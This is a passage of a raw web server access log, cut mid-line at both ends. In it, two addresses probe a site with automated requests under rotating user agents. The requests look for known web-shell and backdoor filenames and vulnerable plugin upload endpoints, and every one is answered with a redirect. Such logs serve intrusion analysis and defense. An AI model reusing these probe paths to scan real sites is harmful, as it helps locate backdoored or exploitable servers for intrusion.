(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:26 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:26 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:26 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:26 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:26 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:26 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:26 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:26 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:26 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:26:26 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:26 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:26:26 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:26 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.91 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:26:27 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:27 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:27 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:27 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:27 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:27 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:26:28 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:28 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:26:28 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:29 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:29 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:29 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:29 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:29 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:26:29 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:29 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:26:29 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:29 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:29 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:29 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:26:29 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:29 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:29 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:29 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:30 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:30 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:30 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:30 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:26:30 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:30 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:26:30 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:30 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:30 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:26:30 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:30 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:30 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:30 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:30 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:30 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:30 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:30 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:30 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:31 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:31 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:26:31 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:31 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:31 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:31 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:32 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:32 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:32 -0400] "GET 